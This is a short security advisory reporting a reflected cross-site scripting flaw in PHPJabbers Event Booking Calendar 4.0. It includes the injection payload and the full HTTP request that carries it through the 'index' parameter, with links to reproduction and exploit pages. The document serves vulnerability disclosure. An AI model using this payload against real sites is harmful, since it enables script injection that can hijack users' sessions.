Headline
Event Booking Calendar 4.0 Cross Site Scripting
Event Booking Calendar version 4.0 suffers from a cross site scripting vulnerability.
## Title: Event Booking Calendar-4.0 XSS-Reflected## Author: nu11secur1ty## Date: 09/06/2023## Vendor: https://www.phpjabbers.com/## Software: https://www.phpjabbers.com/event-booking-calendar/#sectionDemo## Reference: https://portswigger.net/web-security/cross-site-scripting/reflected## Description:The value of the index request parameter is copied into the value ofan HTML tag attribute which is encapsulated in double quotation marks.The payload ap5yf"><script>alert(1)</script>n9d5d was submitted in theindex parameter. This input was echoed unmodified in the application'sresponse.The attacker can make a specially crafted malicious URL and spread itinto the network, to infect every user of this system who clicks on itand visit it.STATUS: HIGH Vulnerability[+]Testing Payload:```GETGET /1693985138_790/index.php?controller=pjFrontPublic&action=pjActionLoadEvents&session_id=&theme=theme7&locale=1&hide=0&index=4786ap5yf%22%3e%3cscript%3ealert(1)%3c%2fscript%3en9d5d&show_header=1&show_icons=1&show_categories=1&category_id=0&month=09&year=2023&view=calendar&period=&page=1HTTP/1.1Host: demo.phpjabbers.comAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141Safari/537.36Connection: closeCache-Control: max-age=0Cookie: _ga=GA1.2.1968270768.1693986414;_gid=GA1.2.227754763.1693986414; _gat=1;_fbp=fb.1.1693986413650.1548084853;_ga_NME5VTTGTT=GS1.2.1693986413.1.0.1693986413.60.0.0X-Requested-With: XMLHttpRequestReferer: https://demo.phpjabbers.com/1693985138_790/preview.php?lid=1Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Event-Booking-Calendar-4.0%20)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/09/event-booking-calendar-40-xss-reflected.html)## Time spent:01:25:00